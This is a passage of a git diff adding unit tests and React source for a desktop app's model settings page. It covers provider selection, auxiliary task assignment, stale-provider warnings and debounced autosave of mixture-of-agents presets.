+      expect(startManualLocalEndpoint).toHaveBeenCalledOnce()
+      expect(startManualOnboarding).not.toHaveBeenCalled()
+      expect(startManualProviderOAuth).not.toHaveBeenCalled()
+    }
+  )
+
+  it('opens the generic provider picker for an unknown provider with no inventory row', async () => {
+    getGlobalModelInfo.mockResolvedValueOnce({ provider: 'retired-provider', model: '' })
+    getGlobalModelOptions.mockResolvedValueOnce({ providers: [] })
+
+    await renderModelSettings()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Set up provider' }))
+
+    expect(startManualOnboarding).toHaveBeenCalledOnce()
+    expect(startManualLocalEndpoint).not.toHaveBeenCalled()
+    expect(startManualProviderOAuth).not.toHaveBeenCalled()
+  })
+
+  it('deep-links a known OAuth provider row into its setup flow', async () => {
+    getGlobalModelInfo.mockResolvedValueOnce({ provider: 'anthropic', model: '' })
+    getGlobalModelOptions.mockResolvedValueOnce({
+      providers: [
+        {
+          name: 'Anthropic',
+          slug: 'anthropic',
+          models: [],
+          authenticated: false,
+          auth_type: 'oauth'
+        }
+      ]
+    })
+
+    await renderModelSettings()
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Set up Anthropic' }))
+
+    expect(startManualProviderOAuth).toHaveBeenCalledWith('anthropic')
+    expect(startManualLocalEndpoint).not.toHaveBeenCalled()
+    expect(startManualOnboarding).not.toHaveBeenCalled()
+  })
+
+  it('replaces the selected provider and model when the active profile changes', async () => {
+    getGlobalModelInfo
+      .mockResolvedValueOnce({ provider: 'custom', model: 'local-a' })
+      .mockResolvedValueOnce({ provider: 'nous', model: 'clawcodex-4' })
+    getGlobalModelOptions
+      .mockResolvedValueOnce({
+        providers: [
+          {
+            name: 'Custom A',
+            slug: 'custom',
+            models: ['local-a'],
+            authenticated: true
+          }
+        ]
+      })
+      .mockResolvedValueOnce({
+        providers: [
+          {
+            name: 'Nous',
+            slug: 'nous',
+            models: ['clawcodex-4'],
+            authenticated: true,
+            capabilities: { 'clawcodex-4': { reasoning: true, fast: true } }
+          }
+        ]
+      })
+
+    await renderModelSettings()
+    expect((await screen.findAllByRole('combobox'))[0].textContent).toContain('Custom A')
+
+    await act(async () => {
+      profileSwitchHandler?.()
+    })
+
+    await waitFor(() => expect(getGlobalModelInfo).toHaveBeenCalledTimes(2))
+    await waitFor(() => expect(screen.getAllByRole('combobox')[0].textContent).toContain('Nous'))
+    expect(screen.queryByRole('button', { name: 'Set up provider' })).toBeNull()
+  })
+
+  it('preserves a user-defined provider endpoint when applying the main model', async () => {
+    getGlobalModelOptions.mockResolvedValueOnce({
+      providers: [
+        {
+          name: 'Nous',
+          slug: 'nous',
+          models: ['clawcodex-4'],
+          authenticated: true
+        },
+        {
+          name: 'Ollama',
+          slug: 'local-ollama',
+          models: ['qwen3:latest'],
+          authenticated: true,
+          is_user_defined: true,
+          api_url: 'http://localhost:11434/v1'
+        }
+      ]
+    })
+    setModelAssignment.mockResolvedValueOnce({
+      provider: 'local-ollama',
+      model: 'qwen3:latest',
+      gateway_tools: []
+    })
+
+    await renderModelSettings()
+
+    const providerSelect = (await screen.findAllByRole('combobox'))[0]
+    fireEvent.click(providerSelect)
+    fireEvent.click(await screen.findByRole('option', { name: 'Ollama' }))
+
+    const modelSelect = (await screen.findAllByRole('combobox'))[1]
+    fireEvent.click(modelSelect)
+    fireEvent.click(await screen.findByRole('option', { name: 'qwen3:latest' }))
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Apply' }))
+
+    await waitFor(() =>
+      expect(setModelAssignment).toHaveBeenCalledWith({
+        model: 'qwen3:latest',
+        provider: 'local-ollama',
+        scope: 'main',
+        base_url: 'http://localhost:11434/v1'
+      })
+    )
+  })
+
+  it('writes the profile default speed (service_tier) when the fast switch is toggled', async () => {
+    await renderModelSettings()
+    await waitFor(() => expect(getClawCodexConfigRecord).toHaveBeenCalled())
+
+    const fastSwitch = await screen.findByRole('switch')
+    fireEvent.click(fastSwitch)
+
+    await waitFor(() =>
+      expect(saveClawCodexConfig).toHaveBeenCalledWith(
+        expect.objectContaining({ agent: expect.objectContaining({ service_tier: 'fast' }) })
+      )
+    )
+  })
+
+  it('hides the reasoning/speed defaults when the main model reports no capabilities', async () => {
+    getGlobalModelOptions.mockResolvedValueOnce({
+      providers: [
+        {
+          name: 'Nous',
+          slug: 'nous',
+          models: ['clawcodex-4'],
+          authenticated: true,
+          capabilities: { 'clawcodex-4': { reasoning: false, fast: false } }
+        }
+      ]
+    })
+
+    await renderModelSettings()
+    await waitFor(() => expect(getClawCodexConfigRecord).toHaveBeenCalled())
+
+    expect(screen.queryByRole('switch')).toBeNull()
+  })
+
+  it('renders the auxiliary task rows', async () => {
+    await renderModelSettings()
+
+    expect(await screen.findByText('Vision')).toBeTruthy()
+    expect(screen.getAllByText('auto · use main model').length).toBeGreaterThan(0)
+  })
+
+  it('assigns an auxiliary task to the main model via setModelAssignment', async () => {
+    await renderModelSettings()
+
+    // One "Set to main" button per task slot; the first is Vision.
+    const setToMainButtons = await screen.findAllByRole('button', { name: 'Set to main' })
+    fireEvent.click(setToMainButtons[0])
+
+    await waitFor(() =>
+      expect(setModelAssignment).toHaveBeenCalledWith({
+        model: 'clawcodex-4',
+        provider: 'nous',
+        scope: 'auxiliary',
+        task: 'vision'
+      })
+    )
+  })
+
+  it('carries the user-defined endpoint when an aux slot is set to a local main model', async () => {
+    getGlobalModelOptions.mockResolvedValueOnce({
+      providers: [
+        {
+          name: 'Ollama',
+          slug: 'local-ollama',
+          models: ['qwen3:latest'],
+          authenticated: true,
+          is_user_defined: true,
+          api_url: 'http://localhost:11434/v1'
+        }
+      ]
+    })
+    getGlobalModelInfo.mockResolvedValueOnce({ provider: 'local-ollama', model: 'qwen3:latest' })
+    getAuxiliaryModels.mockResolvedValueOnce({
+      main: { provider: 'local-ollama', model: 'qwen3:latest' },
+      tasks: [{ task: 'vision', provider: 'auto', model: '', base_url: '' }]
+    })
+
+    await renderModelSettings()
+
+    const setToMainButtons = await screen.findAllByRole('button', { name: 'Set to main' })
+    fireEvent.click(setToMainButtons[0])
+
+    await waitFor(() =>
+      expect(setModelAssignment).toHaveBeenCalledWith({
+        model: 'qwen3:latest',
+        provider: 'local-ollama',
+        scope: 'auxiliary',
+        task: 'vision',
+        base_url: 'http://localhost:11434/v1'
+      })
+    )
+  })
+
+  it('warns when a main switch leaves auxiliary tasks pinned to another provider', async () => {
+    setModelAssignment.mockResolvedValueOnce({
+      provider: 'openrouter',
+      model: 'anthropic/claude-opus-4.7',
+      gateway_tools: [],
+      stale_aux: [{ task: 'compression', provider: 'nous', model: 'clawcodex-4' }]
+    })
+
+    await renderModelSettings()
+    await waitFor(() => expect(getGlobalModelInfo).toHaveBeenCalled())
+
+    const applyButton = await screen.findByRole('button', { name: 'Apply' })
+    fireEvent.click(applyButton)
+
+    // The switch-time notice names the pinned provider and offers a reset.
+    expect(await screen.findByText(/still run on/)).toBeTruthy()
+    expect(screen.getByText('nous')).toBeTruthy()
+  })
+
+  it('shows a persistent banner when a loaded aux slot mismatches the main provider', async () => {
+    getAuxiliaryModels.mockResolvedValueOnce({
+      main: { provider: 'nous', model: 'clawcodex-4' },
+      tasks: [{ task: 'curator', provider: 'openrouter', model: 'anthropic/claude-opus-4.7', base_url: '' }]
+    })
+
+    await renderModelSettings()
+
+    // Banner present on load, no switch required.
+    expect(await screen.findByText(/still run on/)).toBeTruthy()
+  })
+})
+
+describe('ModelSettings MoA preset editor', () => {
+  const moaConfig = () => ({
+    default_preset: 'default',
+    active_preset: '',
+    presets: {
+      default: {
+        reference_models: [
+          { provider: 'nous', model: 'clawcodex-4' },
+          { provider: 'openrouter', model: 'deepseek/deepseek-v4-pro' }
+        ],
+        aggregator: { provider: 'openrouter', model: 'anthropic/claude-opus-4.8' },
+        reference_temperature: 0,
+        aggregator_temperature: 0,
+        max_tokens: 4096,
+        enabled: true
+      }
+    },
+    reference_models: [
+      { provider: 'nous', model: 'clawcodex-4' },
+      { provider: 'openrouter', model: 'deepseek/deepseek-v4-pro' }
+    ],
+    aggregator: { provider: 'openrouter', model: 'anthropic/claude-opus-4.8' },
+    reference_temperature: 0,
+    aggregator_temperature: 0,
+    max_tokens: 4096,
+    enabled: true
+  })
+
+  beforeEach(() => {
+    getGlobalModelOptions.mockResolvedValue({
+      providers: [
+        {
+          name: 'Nous',
+          slug: 'nous',
+          models: ['clawcodex-4', 'clawcodex-4-mini'],
+          authenticated: true,
+          capabilities: { 'clawcodex-4': { reasoning: true, fast: true } }
+        },
+        {
+          name: 'OpenRouter',
+          slug: 'openrouter',
+          models: ['deepseek/deepseek-v4-pro', 'anthropic/claude-opus-4.8'],
+          authenticated: true
+        }
+      ]
+    })
+    getMoaModels.mockResolvedValue(moaConfig())
+    saveMoaModels.mockImplementation((body: unknown) => Promise.resolve(body))
+  })
+
+  async function openReferenceEditor() {
+    await renderModelSettings()
+    expect(await screen.findByText('Reference 1')).toBeTruthy()
+  }
+
+  function slotSelects() {
+    // Combobox order in the MoA section (last 7 on the page): preset select,
+    // then provider+model per reference (2 refs), then aggregator
+    // provider+model. Reference 1's pair is therefore at -6 / -5.
+    const all = screen.getAllByRole('combobox')
+
+    return { ref1Provider: all.at(-6)!, ref1Model: all.at(-5)! }
+  }
+
+  it('holds the autosave while a slot is half-filled (provider changed, model pending)', async () => {
+    vi.useFakeTimers({ shouldAdvanceTime: true })
+
+    try {
+      await openReferenceEditor()
+
+      fireEvent.click(slotSelects().ref1Provider)
+      fireEvent.click(await screen.findByRole('option', { name: 'OpenRouter' }))
+
+      // Model was cleared by the provider change → config incomplete → the
+      // debounced autosave must NOT fire, even well past the 600ms window.
+      await vi.advanceTimersByTimeAsync(2000)
+      expect(saveMoaModels).not.toHaveBeenCalled()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('saves once the model pick completes the slot', async () => {
+    vi.useFakeTimers({ shouldAdvanceTime: true })
+
+    try {
+      await openReferenceEditor()
+
+      fireEvent.click(slotSelects().ref1Provider)
+      fireEvent.click(await screen.findByRole('option', { name: 'OpenRouter' }))
+      await vi.advanceTimersByTimeAsync(700)
+
+      fireEvent.click(slotSelects().ref1Model)
+      fireEvent.click(await screen.findByRole('option', { name: 'anthropic/claude-opus-4.8' }))
+      await vi.advanceTimersByTimeAsync(700)
+
+      expect(saveMoaModels).toHaveBeenCalledTimes(1)
+      const sent = saveMoaModels.mock.calls[0][0] as ReturnType<typeof moaConfig>
+      expect(sent.presets.default.reference_models[0]).toEqual({
+        provider: 'openrouter',
+        model: 'anthropic/claude-opus-4.8'
+      })
+      // The untouched slots ride along unchanged — nothing reverts to defaults.
+      expect(sent.presets.default.reference_models[1]).toEqual({
+        provider: 'openrouter',
+        model: 'deepseek/deepseek-v4-pro'
+      })
+      expect(sent.presets.default.aggregator).toEqual({
+        provider: 'openrouter',
+        model: 'anthropic/claude-opus-4.8'
+      })
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('does not clear the model or save when the same provider is re-selected', async () => {
+    vi.useFakeTimers({ shouldAdvanceTime: true })
+
+    try {
+      await openReferenceEditor()
+
+      fireEvent.click(slotSelects().ref1Provider)
+      fireEvent.click(await screen.findByRole('option', { name: 'Nous' }))
+      await vi.advanceTimersByTimeAsync(700)
+
+      // Radix treats re-picking the current value as a no-op (no
+      // onValueChange), so nothing changes: no save, model still shown.
+      expect(saveMoaModels).not.toHaveBeenCalled()
+      expect(screen.getByText('nous · clawcodex-4')).toBeTruthy()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('autosaves the selected preset when its enabled switch is toggled', async () => {
+    vi.useFakeTimers({ shouldAdvanceTime: true })
+
+    try {
+      await openReferenceEditor()
+
+      fireEvent.click(screen.getByRole('switch', { name: 'Enabled' }))
+      await vi.advanceTimersByTimeAsync(700)
+
+      expect(saveMoaModels).toHaveBeenCalledWith(
+        expect.objectContaining({
+          presets: expect.objectContaining({
+            default: expect.objectContaining({ enabled: false })
+          })
+        })
+      )
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
+  it('saves a disabled reference model without removing it (per-slot enabled toggle)', async () => {
+    vi.useFakeTimers({ shouldAdvanceTime: true })
+
+    try {
+      await openReferenceEditor()
+
+      fireEvent.click(screen.getByRole('switch', { name: 'Disable reference 1' }))
+      await vi.advanceTimersByTimeAsync(700)
+
+      expect(saveMoaModels).toHaveBeenCalledWith(
+        expect.objectContaining({
+          presets: expect.objectContaining({
+            default: expect.objectContaining({
+              reference_models: [
+                expect.objectContaining({ provider: 'nous', model: 'clawcodex-4', enabled: false }),
+                expect.objectContaining({ provider: 'openrouter', model: 'deepseek/deepseek-v4-pro' })
+              ]
+            })
+          })
+        })
+      )
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+})
diff --git a/ui-desktop/src/app/settings/model-settings.tsx b/ui-desktop/src/app/settings/model-settings.tsx
new file mode 100644
index 000000000..807986575
--- /dev/null
+++ b/ui-desktop/src/app/settings/model-settings.tsx
@@ -0,0 +1,1280 @@
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import {
+  getAuxiliaryModels,
+  getGlobalModelInfo,
+  getGlobalModelOptions,
+  getMoaModels,
+  getRecommendedDefaultModel,
+  saveClawCodexConfig,
+  saveMoaModels,
+  setEnvVar,
+  setModelAssignment
+} from '@/clawcodex'
+import type {
+  AuxiliaryModelsResponse,
+  MoaConfigResponse,
+  MoaModelSlot,
+  ModelOptionProvider,
+  StaleAuxAssignment
+} from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Skeleton } from '@/components/ui/skeleton'
+import { Switch } from '@/components/ui/switch'
+import { useI18n } from '@/i18n'
+import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
+import { DEFAULT_REASONING_EFFORT, REASONING_EFFORT_VALUES } from '@/lib/reasoning-effort'
+import { cn } from '@/lib/utils'
+import { notifyError } from '@/store/notifications'
+import { startManualLocalEndpoint, startManualOnboarding, startManualProviderOAuth } from '@/store/onboarding'
+
+import { invalidateClawCodexConfig, setClawCodexConfigCache, useClawCodexConfigRecord } from '../hooks/use-config-record'
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+
+import { CONTROL_TEXT } from './constants'
+import { getNested, setNested } from './helpers'
+import { ListRow, Pill, SectionHeading } from './primitives'
+import { useDeepLinkHighlight } from './use-deep-link-highlight'
+
+// Skeleton mirror of the Model settings DOM so the page keeps its shape while
+// the provider/model catalog loads, instead of collapsing to a centered
+// spinner. Same containers/rhythm as the real render below.
+export function ModelSettingsSkeleton() {
+  return (
+    <div className="grid gap-6" data-slot="model-settings-skeleton">
+      <section>
+        <Skeleton className="mb-3 h-3 w-72 max-w-full" />
+        <div className="flex flex-wrap items-center gap-2">
+          <Skeleton className="h-8 w-40" />
+          <Skeleton className="h-8 w-60 max-w-full" />
+          <Skeleton className="h-8 w-16" />
+        </div>
+        <div className="mt-3 flex flex-wrap items-center gap-x-6 gap-y-3">
+          <Skeleton className="h-3 w-16" />
+          <Skeleton className="h-8 w-28" />
+          <Skeleton className="h-6 w-20" />
+        </div>
+      </section>
+
+      <section>
+        <div className="mb-2.5 flex items-center gap-2 pt-2">
+          <Skeleton className="size-4" />
+          <Skeleton className="h-4 w-36" />
+        </div>
+        <div className="grid gap-1">
+          {[0, 1, 2, 3].map(row => (
+            <div
+              className="grid gap-3 py-3 @2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:items-center"
+              key={row}
+            >
+              <div className="min-w-0 space-y-1.5">
+                <Skeleton className="h-3.5 w-32" />
+                <Skeleton className="h-3 w-52 max-w-full" />
+              </div>
+              <Skeleton className="h-8 w-full @2xl:justify-self-end @2xl:w-56" />
+            </div>
+          ))}
+        </div>
+      </section>
+    </div>
+  )
+}
+
+// agent.service_tier stores "fast"/"priority"/"on" for fast; anything else is
+// normal (mirrors tui_gateway _load_service_tier).
+const isFastTier = (tier: unknown): boolean =>
+  ['fast', 'priority', 'on'].includes(
+    String(tier ?? '')
+      .trim()
+      .toLowerCase()
+  )
+
+// A provider row is "ready" to pick a model from when it reports models. The
+// backend now surfaces the full `clawcodex model` universe (every canonical
+// provider), so unconfigured providers come back with `authenticated:false`
+// and an empty `models` list — those need a setup step before a model exists.
+function isProviderReady(p?: ModelOptionProvider): boolean {
+  return !!p && (p.authenticated !== false || (p.models?.length ?? 0) > 0)
+}
+
+// Mirrors `_AUX_TASK_SLOTS` in clawcodex_cli/web_server.py. Friendly labels and
+// hints make the assignments readable; raw task keys (vision, mcp, …) are
+// opaque to most users.
+interface AuxTaskMeta {
+  key: string
+}
+
+const AUX_TASKS: readonly AuxTaskMeta[] = [
+  { key: 'vision' },
+  { key: 'web_extract' },
+  { key: 'compression' },
+  { key: 'skills_hub' },
+  { key: 'approval' },
+  { key: 'mcp' },
+  { key: 'title_generation' },
+  { key: 'curator' }
+]
+
+const NO_PROVIDERS: readonly ModelOptionProvider[] = [{ name: '—', slug: '', models: [] }]
+
+// Radix <Select> renders a blank trigger when `value` matches no <SelectItem>.
+// A custom model (e.g. one added via config that isn't in the provider's
+// curated list) would vanish — surface the active value so it stays selectable.
+export const withActive = (models: readonly string[], active: string): readonly string[] =>
+  active && !models.includes(active) ? [active, ...models] : models
+
+// A slot is complete when both halves are chosen. Changing a slot's provider
+// intentionally clears its model (see updateMoaSlot), so every provider change
+// passes through an incomplete state while the user picks the new model.
+export const moaSlotComplete = (slot: MoaModelSlot): boolean => !!(slot.provider.trim() && slot.model.trim())
+
+// True when every slot in every preset is fully specified — the only state
+// that is safe to persist. The backend rejects configs with half-filled slots
+// (HTTP 422) instead of silently swapping the preset for hardcoded defaults
+// (#64156), so the autosave must simply wait for the edit to finish rather
+// than trying to "repair" the payload.
+export const moaConfigComplete = (config: MoaConfigResponse): boolean =>
+  Object.values(config.presets).every(
+    preset =>
+      preset.reference_models.length > 0 &&
+      preset.reference_models.every(moaSlotComplete) &&
+      moaSlotComplete(preset.aggregator)
+  )
+
+interface StaleAuxWarningProps {
+  applying: boolean
+  onReset: () => void
+  slots: readonly StaleAuxAssignment[]
+  taskLabel: (key: string) => string
+}
+
+// Shared notice: auxiliary tasks still pinned to a provider that isn't the
+// current main. Surfaces the silent credit-burn path (e.g. aux pinned to a
+// $0-balance provider after switching main away from it) and offers the
+// existing one-click reset rather than auto-clearing legitimate pins.
+function StaleAuxWarning({ applying, onReset, slots, taskLabel }: StaleAuxWarningProps) {
+  if (!slots.length) {
+    return null
+  }
+
+  const provider = slots[0].provider
+  const allSameProvider = slots.every(slot => slot.provider === provider)
+  const names = slots.map(slot => taskLabel(slot.task)).join(', ')
+
+  return (
+    <div className="flex flex-wrap items-center gap-2 rounded-md border border-amber-500/40 bg-amber-500/10 px-3 py-2 text-xs text-amber-200">
+      <AlertTriangle className="size-3.5 shrink-0" />
+      <span className="grow">
+        {slots.length} auxiliary task{slots.length === 1 ? '' : 's'} ({names}) still run on{' '}
+        <span className="font-mono">{allSameProvider ? provider : 'other providers'}</span>, not your main model.
+      </span>
+      <Button disabled={applying} onClick={onReset} size="sm" variant="textStrong">
+        Reset all to main
+      </Button>
+    </div>
+  )
+}
+
+interface ModelSettingsProps {
+  /** Notified after the main model is applied, so live UI stores can sync. */
+  onMainModelChanged?: (provider: string, model: string) => void
+}
+
+export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
+  const { t } = useI18n()
+  const m = t.settings.model
+  const [loading, setLoading] = useState(true)
+  const [error, setError] = useState('')
+  const [mainModel, setMainModel] = useState<{ model: string; provider: string } | null>(null)
+  const [providers, setProviders] = useState<ModelOptionProvider[]>([])
+  const [selectedProvider, setSelectedProvider] = useState('')
+  const [selectedModel, setSelectedModel] = useState('')
+  const [auxiliary, setAuxiliary] = useState<AuxiliaryModelsResponse | null>(null)
+  const [moa, setMoa] = useState<MoaConfigResponse | null>(null)
+  const [selectedMoaPreset, setSelectedMoaPreset] = useState('')
+  const [newMoaPresetName, setNewMoaPresetName] = useState('')
+  // agent.* defaults round-trip through the shared config cache (read → write
+  // back the whole record), so a save here shows in the MCP/config surfaces.
+  const { data: config } = useClawCodexConfigRecord()
+  const setConfig = setClawCodexConfigCache
+  const [applying, setApplying] = useState(false)
+  const [editingAuxTask, setEditingAuxTask] = useState<null | string>(null)
+  const [auxDraft, setAuxDraft] = useState<{ model: string; provider: string }>({ model: '', provider: '' })
+  // Aux slots reported stale by the backend immediately after a main-model
+  // switch (provider differs from the new main). Cleared on next switch/reset.
+  const [switchStaleAux, setSwitchStaleAux] = useState<StaleAuxAssignment[]>([])
+  // Inline API-key entry for picking an unconfigured `api_key` provider in
+  // place — mirrors the onboarding ApiKeyForm but scoped to the model picker.
+  const [apiKeyDraft, setApiKeyDraft] = useState('')
+  const [activating, setActivating] = useState(false)
+
+  // Deep link from the vision Capabilities detail (?tab=config:model&aux=vision):
+  // scroll the auxiliary task row into view and flash it once the list loads.
+  useDeepLinkHighlight({
+    elementId: task => `aux-task-${task}`,
+    param: 'aux',
+    ready: task => AUX_TASKS.some(meta => meta.key === task)
+  })
+
+  // Every profile-scoped async here captures this and bails before writing back,
+  // so a request in flight when the user switches profiles can't paint profile
+  // A's models/providers into profile B (or fire onMainModelChanged for A).
+  const profileEpoch = useRef(0)
+
+  const refresh = useCallback(async ({ replaceSelection = false }: { replaceSelection?: boolean } = {}) => {
+    const epoch = profileEpoch.current
+    setLoading(true)
+    setError('')
+
+    try {
+      const [modelInfo, modelOptions, auxiliaryModels, moaModels] = await Promise.all([
+        getGlobalModelInfo(),
+        getGlobalModelOptions(),
+        getAuxiliaryModels(),
+        getMoaModels().catch(() => null)
+      ])
+
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      setMainModel({ model: modelInfo.model, provider: modelInfo.provider })
+      setProviders(modelOptions.providers || [])
+
+      if (replaceSelection) {
+        setSelectedProvider(modelInfo.provider)
+        setSelectedModel(modelInfo.model)
+      } else {
+        setSelectedProvider(prev => prev || modelInfo.provider)
+        setSelectedModel(prev => prev || modelInfo.model)
+      }
+
+      setAuxiliary(auxiliaryModels)
+      setMoa(moaModels)
+
+      if (moaModels) {
+        setSelectedMoaPreset(prev => (prev && moaModels.presets[prev] ? prev : moaModels.default_preset))
+      }
+
+      // The config record loads via its own shared query; a model switch can
+      // change it server-side (aux slots), so nudge that cache to refetch.
+      void invalidateClawCodexConfig()
+    } catch (err) {
+      if (profileEpoch.current === epoch) {
+        setError(err instanceof Error ? err.message : String(err))
+      }
+    } finally {
+      if (profileEpoch.current === epoch) {
+        setLoading(false)
+      }
+    }
+  }, [])
+
+  useEffect(() => {
+    void refresh()
+  }, [refresh])
+
+  // A profile switch swaps the backend under the mounted panel — reload for the
+  // new profile (bumping the epoch first so any in-flight A request is discarded).
+  useOnProfileSwitch(() => {
+    profileEpoch.current += 1
+    // The panel stays mounted across profile switches, so clear the previous
+    // profile's draft selection before loading the new profile's source of
+    // truth. Ordinary same-profile refreshes still preserve in-progress edits.
+    setSelectedProvider('')
+    setSelectedModel('')
+    setApiKeyDraft('')
+    void refresh({ replaceSelection: true })
+  })
+
+  const providerOptions = providers.length ? providers : NO_PROVIDERS
+
+  // Radix renders a blank trigger when the controlled value has no matching
+  // item. Keep a missing saved provider visible in the main selector while
+  // leaving it out of the real inventory used for readiness/setup metadata.
+  const mainProviderOptions = useMemo(
+    () =>
+      selectedProvider && !providers.some(provider => provider.slug === selectedProvider)
+        ? [{ name: selectedProvider, slug: selectedProvider, models: [] }, ...providers]
+        : providerOptions,
+    [providerOptions, providers, selectedProvider]
+  )
+
+  // MoA reference/aggregator slots must never be the moa virtual provider —
+  // that would create a recursive MoA tree (the backend rejects it on save).
+  // Hide it from the slot selectors so it isn't offered as a dead choice.
+  const moaSlotProviderOptions = providerOptions.filter(provider => (provider.slug || '').toLowerCase() !== 'moa')
+
+  const selectedProviderRow = useMemo(
+    () => providers.find(provider => provider.slug === selectedProvider),
+    [providers, selectedProvider]
+  )
+
+  const selectedProviderModels = selectedProviderRow?.models ?? []
+
+  // An unconfigured provider was picked: no credentials yet, so there are no
+  // models to choose. `api_key` providers can be activated inline (paste key);
+  // OAuth / external flows hand off to the onboarding sign-in.
+  const needsSetup = !!selectedProvider && !isProviderReady(selectedProviderRow)
+  const setupIsApiKey = needsSetup && selectedProviderRow?.auth_type === 'api_key' && !!selectedProviderRow?.key_env
+
+  // Clear any half-typed key when switching provider so it can't leak across.
+  useEffect(() => {
+    setApiKeyDraft('')
+  }, [selectedProvider])
+
+  const auxDraftProviderModels = useMemo(
+    () => providers.find(provider => provider.slug === auxDraft.provider)?.models ?? [],
+    [auxDraft.provider, providers]
+  )
+
+  const modelsForProvider = useCallback(
+    (provider: string) => providers.find(row => row.slug === provider)?.models ?? [],
+    [providers]
+  )
+
+  const currentMoaPreset = useMemo(() => {
+    if (!moa) {
+      return null
+    }
+
+    return moa.presets[selectedMoaPreset] || moa.presets[moa.default_preset] || Object.values(moa.presets)[0] || null
+  }, [moa, selectedMoaPreset])
+
+  // Mirror of `moa` so inline edits compute the next state purely (outside the
+  // setState updater) and hand it straight to the debounced autosave.
+  const moaRef = useRef<MoaConfigResponse | null>(null)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    moaRef.current = moa
+  }, [moa])
+
+  const moaSaveTimer = useRef<number | null>(null)
+
+  useEffect(
+    () => () => {
+      if (moaSaveTimer.current) {
+        window.clearTimeout(moaSaveTimer.current)
+      }
+    },
+    []
+  )
+
+  // Guard against stale save responses overwriting newer state.
+  const moaSaveGeneration = useRef(0)
+
+  // Quiet debounced persist for inline MoA edits — mirrors the config page's
+  // autosave so slot/aggregator tweaks save themselves, matching the
+  // preset-level ops (set default / add / delete) that already persist on
+  // click. No `applying` spinner, so selecting stays responsive.
+  //
+  // While any slot is half-filled (provider picked, model pending) the save is
+  // HELD, not sent: the previous complete config stays on disk and the next
+  // edit that completes the slot flushes the whole preset. Every edit bumps
+  // the generation so an in-flight response from an older save can never
+  // repaint over the user's mid-edit state.
+  const scheduleMoaSave = useCallback((next: MoaConfigResponse) => {
+    if (moaSaveTimer.current) {
+      window.clearTimeout(moaSaveTimer.current)
+      moaSaveTimer.current = null
+    }
+
+    const generation = moaSaveGeneration.current + 1
+    moaSaveGeneration.current = generation
+
+    if (!moaConfigComplete(next)) {
+      return
+    }
+
+    moaSaveTimer.current = window.setTimeout(() => {
+      void saveMoaModels(next)
+        .then(saved => {
+          if (moaSaveGeneration.current === generation) {
+            setMoa(saved)
+          }
+        })
+        .catch(err => {
+          if (moaSaveGeneration.current === generation) {
+            setError(err instanceof Error ? err.message : String(err))
+          }
+        })
+    }, 600)
+  }, [])
+
+  const updateMoaPreset = useCallback(
+    (updater: (preset: NonNullable<typeof currentMoaPreset>) => NonNullable<typeof currentMoaPreset>) => {
+      const prev = moaRef.current
+
+      if (!prev || !selectedMoaPreset || !prev.presets[selectedMoaPreset]) {
+        return
+      }
+
+      const next: MoaConfigResponse = {
+        ...prev,
+        presets: {
+          ...prev.presets,
+          [selectedMoaPreset]: updater(prev.presets[selectedMoaPreset])
+        }
+      }
+
+      moaRef.current = next
+      setMoa(next)
+      scheduleMoaSave(next)
+    },
+    [scheduleMoaSave, selectedMoaPreset]
+  )
+
+  const updateMoaSlot = useCallback((slot: MoaModelSlot, patch: Partial<MoaModelSlot>): MoaModelSlot => {
+    const next = { ...slot, ...patch }
+
+    // Picking a new provider invalidates the model choice (models are
+    // per-provider). A same-provider update must not wipe the model — Radix
+    // filters same-value changes, but programmatic callers may not.
+    if (patch.provider && patch.provider !== slot.provider) {
+      next.model = ''
+    }
+
+    return next
+  }, [])
+
+  const saveMoa = useCallback(async (next: MoaConfigResponse) => {
+    const epoch = profileEpoch.current
+
+    // Explicit preset ops (set default / add / delete) supersede any pending
+    // debounced slot autosave — cancel it and invalidate in-flight responses
+    // so the two writers can't race each other's state.
+    if (moaSaveTimer.current) {
+      window.clearTimeout(moaSaveTimer.current)
+      moaSaveTimer.current = null
+    }
+
+    moaSaveGeneration.current += 1
+    setApplying(true)
+    setError('')
+
+    try {
+      const saved = await saveMoaModels(next)
+
+      if (profileEpoch.current !== epoch) {
+        return
+      }
+
+      setMoa(saved)
+    } catch (err) {
+      setError(err instanceof Error ? err.message : String(err))
+    } finally {
+      setApplying(false)
+    }
+  }, [])
+
+  const auxiliaryTaskLabel = useCallback((key: string) => m.tasks[key]?.label ?? key, [m.tasks])
+
+  // Persistent mismatch: any aux slot pinned to a provider different from the
+  // current main, regardless of whether the user just switched. Catches the
+  // "I pinned aux months ago and forgot, now it bills a dead provider" case.
+  const persistentStaleAux = useMemo<StaleAuxAssignment[]>(() => {
+    const mainProvider = (mainModel?.provider ?? '').toLowerCase()
+
+    if (!mainProvider || !auxiliary) {
+      return []
+    }
+
+    return auxiliary.tasks
+      .filter(entry => {
+        const p = (entry.provider ?? '').toLowerCase()
+
+        return p && p !== 'auto' && p !== mainProvider
+      })
+      .map(entry => ({ task: entry.task, provider: entry.provider, model: entry.model }))
+  }, [auxiliary, mainModel])
+
+  // Capabilities of the APPLIED main model — gates the profile-default
+  // reasoning/speed controls the same way the composer picker gates per-model
+  // edits (reasoning defaults on, fast defaults off when unreported).
+  const mainCaps = useMemo(() => {
+    const row = providers.find(provider => provider.slug === mainModel?.provider)
+
+    return mainModel ? row?.capabilities?.[mainModel.model] : undefined
+  }, [providers, mainModel])
+
+  const reasoningSupported = mainCaps?.reasoning ?? true
+  const fastSupported = mainCaps?.fast ?? false
+
+  // Hand-written `reasoning_effort: false`/`off` reaches us as boolean false
